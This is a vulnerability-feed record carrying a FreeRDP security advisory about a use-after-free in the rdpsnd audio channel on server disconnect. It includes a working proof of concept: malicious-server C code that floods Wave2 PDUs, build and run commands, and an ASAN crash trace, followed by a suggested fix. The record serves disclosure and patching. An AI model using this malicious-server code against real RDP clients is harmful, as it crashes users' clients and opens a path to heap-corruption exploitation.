{"schema":"threatline.record/2","record":{"id":"GHSA-vqxm-9w7c-hvvx","aliases":["GHSA-vqxm-9w7c-hvvx"],"summary":"Use-After-Free in FreeRDP Static rdpsnd Disconnect Path During Asynchronous Playback","details":"# Summary\r\n\r\nFreeRDP's static `rdpsnd` client channel can use freed audio state after a server disconnects while asynchronous playback is processing queued audio PDUs. The disconnect callback frees `ClientFormats`, `ServerFormats`, and the audio device without first joining `play_thread`, causing a client-side heap-use-after-free (CWE-416).\r\n\r\nTested commit: `239783791ddfc81dfb127b892c21da4ce85fe4ac`. Tested version: `3.30.1-dev0`. Reproduction used the project's OSS-Fuzz Docker build environment.\r\n\r\n# Technical Details\r\n\r\nUnless `FreeRDP_SynchronousStaticChannels` is enabled, static `rdpsnd` uses asynchronous playback (`channels/rdpsnd/client/rdpsnd_main.c:1623-1626`). Received PDUs are posted to the message queue at `:1187-1192` and consumed by `play_thread` at `:1443-1482`.\r\n\r\nWhen `CHANNEL_EVENT_DISCONNECTED` is received, `rdpsnd_virtual_channel_event_disconnected` (`:1337-1368`) closes the device, calls `cleanup_internals`, and frees the device. `cleanup_internals` frees `ClientFormats` and `ServerFormats` and clears their pointers (`:1313-1330`). However, this path never calls `free_internals`.\r\n\r\n`free_internals` is the function that calls `rdpsnd_terminate_thread`; that function posts `WMQ_QUIT`, waits for `play_thread`, and only then frees the message queue (`:1296-1311`, `:1382-1398`). The later `CHANNEL_EVENT_TERMINATED` callback is therefore too late to protect the interval between disconnect cleanup and thread termination.\r\n\r\nDuring this interval, `play_thread` can process a queued `Wave2` PDU through `rdpsnd_recv_wave2_pdu` (`:704-733`). The function checks `NumberOfClientFormats`, obtains `&ClientFormats[wFormatNo]`, and dereferences the format. It then reaches `rdpsnd_treat_wave`, which accesses the format and invokes `device->FormatSupported`, `device->PlayEx`, or `device->Play` (`:608-668`). The check and subsequent use are unsynchronized, so the bounds check does not prevent the use-after-free.\r\n\r\nThe dynamic-channel close path already has the correct ordering: cleanup, `free_internals` including the thread join, and device destruction (`:1708-1733`).\r\n\r\n# Impact\r\n\r\nA malicious RDP server can cause the client process to read freed heap memory and invoke audio-device callbacks through freed state. The PoC directly demonstrates a client crash and memory-safety violation. Heap corruption may enable more severe exploitation, but code execution was not demonstrated. No special client privilege or high-risk opt-in is required when asynchronous static audio playback is enabled.\r\n\r\n# Proof of Concept\r\n\r\nThe relevant server-side payload generator used by the tested harness is:\r\n\r\n```c\r\n#include <freerdp/channels/rdpsnd.h>\r\n#include <winpr/synch.h>\r\n\r\n#define SAMPLE_SIZE 2000\r\n\r\nstatic AUDIO_FORMAT format = {\r\n    .wFormatTag = WAVE_FORMAT_PCM,\r\n    .nChannels = 2,\r\n    .nSamplesPerSec = 44100,\r\n    .nBlockAlign = 4,\r\n    .wBitsPerSample = 16,\r\n    .cbSize = 0,\r\n};\r\nstatic BYTE sample[SAMPLE_SIZE];\r\n\r\nstatic DWORD WINAPI flood_wave2(LPVOID arg)\r\n{\r\n    RdpsndServerContext* rdpsnd = (RdpsndServerContext*)arg;\r\n    UINT16 block = 0;\r\n\r\n    for (;;)\r\n        rdpsnd->SendSamples2(rdpsnd, 0, sample, sizeof(sample), block++, 0);\r\n    return 0;\r\n}\r\n\r\nstatic void activated(RdpsndServerContext* rdpsnd)\r\n{\r\n    if (rdpsnd->SelectFormat)\r\n        rdpsnd->SelectFormat(rdpsnd, 0);\r\n    CreateThread(NULL, 0, flood_wave2, rdpsnd, 0, NULL);\r\n}\r\n\r\n/* In the server's PostConnect callback: */\r\nrdpsnd->use_dynamic_virtual_channel = FALSE;\r\nrdpsnd->server_formats = &format;\r\nrdpsnd->num_server_formats = 1;\r\nrdpsnd->src_format = &format;\r\nrdpsnd->Activated = activated;\r\n```\r\n\r\nFrom the repository checkout inside the project's OSS-Fuzz Docker build environment, build the instrumented client and Sample server:\r\n\r\n```sh\r\ncmake -G Ninja \\\r\n  -C ci/cmake-preloads/config-oss-fuzz.cmake \\\r\n  -DCMAKE_BUILD_TYPE=Debug \\\r\n  -DBUILD_SHARED_LIBS=OFF \\\r\n  -DCMAKE_INTERPROCEDURAL_OPTIMIZATION=OFF \\\r\n  -DWITH_CLIENT=ON \\\r\n  -DBUILD_FUZZERS=OFF \\\r\n  -DBUILD_TESTING=OFF \\\r\n  -DOSS_FUZZ=ON \\\r\n  -S . -B build\r\ncmake --build build --parallel\r\nopenssl req -x509 -newkey rsa:2048 -nodes \\\r\n  -keyout server.key -out server.crt -days 1 -subj /CN=localhost\r\n```\r\n\r\nRun the malicious Sample server, connect with the ASAN client, and repeatedly tear down the server-side transport while the `Wave2` flood is active:\r\n\r\n```sh\r\nXvfb :100 -screen 0 1024x768x16 >xvfb.log 2>&1 &\r\nDISPLAY=:100 ./build/server/Sample/sfreerdp-server \\\r\n  --port=3390 --cert=server.crt --key=server.key >rdpsnd-server.log 2>&1 &\r\nASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1' \\\r\n  timeout 10 ./build/client/X11/xfreerdp \\\r\n  /v:localhost:3390 /sec:tls /cert:ignore /u:user /p:pass \\\r\n  /audio-mode:0 /sound:sys:fake /log-level:DEBUG\r\n```\r\n\r\nThe first 100-attempt trial hit on attempt 40; a validation trial hit on the first attempt. The observed ASAN report was:\r\n\r\n```text\r\nERROR: AddressSanitizer: heap-use-after-free\r\nREAD of size 2 ... thread T3\r\n    #0 rdpsnd_detect_overrun  channels/rdpsnd/client/rdpsnd_main.c:565\r\n    #1 rdpsnd_treat_wave      channels/rdpsnd/client/rdpsnd_main.c:638\r\n    #2 rdpsnd_recv_wave2_pdu  channels/rdpsnd/client/rdpsnd_main.c:733\r\n    #3 rdpsnd_recv_pdu        channels/rdpsnd/client/rdpsnd_main.c:828\r\n    #4 play_thread             channels/rdpsnd/client/rdpsnd_main.c:1479\r\nfreed by thread T2 here:\r\n    #1 cleanup_internals\r\n       channels/rdpsnd/client/rdpsnd_main.c:1321\r\n    #2 rdpsnd_virtual_channel_event_disconnected\r\n       channels/rdpsnd/client/rdpsnd_main.c:1360\r\n    #3 freerdp_channels_disconnect\r\npreviously allocated by thread T3 here:\r\n    #1 rdpsnd_select_supported_audio_formats\r\n       channels/rdpsnd/client/rdpsnd_main.c:175\r\nSUMMARY: AddressSanitizer: heap-use-after-free\r\n```\r\n\r\n# Suggested Fix\r\n\r\nIn `rdpsnd_virtual_channel_event_disconnected`, call `free_internals(rdpsnd)` after `cleanup_internals(rdpsnd)` and before `device->Free`. This joins `play_thread` before the format arrays or device are released and matches the ordering used by `rdpsnd_on_close`. Ensure the disconnect and termination callbacks remain idempotent for repeated lifecycle events.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-vqxm-9w7c-hvvx","source_modified_at":"2026-09-28T08:04:24Z","fetched_at":"2026-10-24T20:40:58.529015Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":"<= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-vqxm-9w7c-hvvx","source_modified_at":"2026-09-28T08:04:24Z","fetched_at":"2026-10-24T20:40:58.529015Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-28T08:04:24Z","modified_at":"2026-09-28T08:04:24Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-vqxm-9w7c-hvvx","fetched_at":"2026-10-24T20:40:58.529015Z","source_modified_at":"2026-09-28T08:04:24Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-28T08:04:24Z","content_hash":"70cf39f69c46e85e4123914267102f4f0baa99c94a4707478f4c2b2175422299"}}
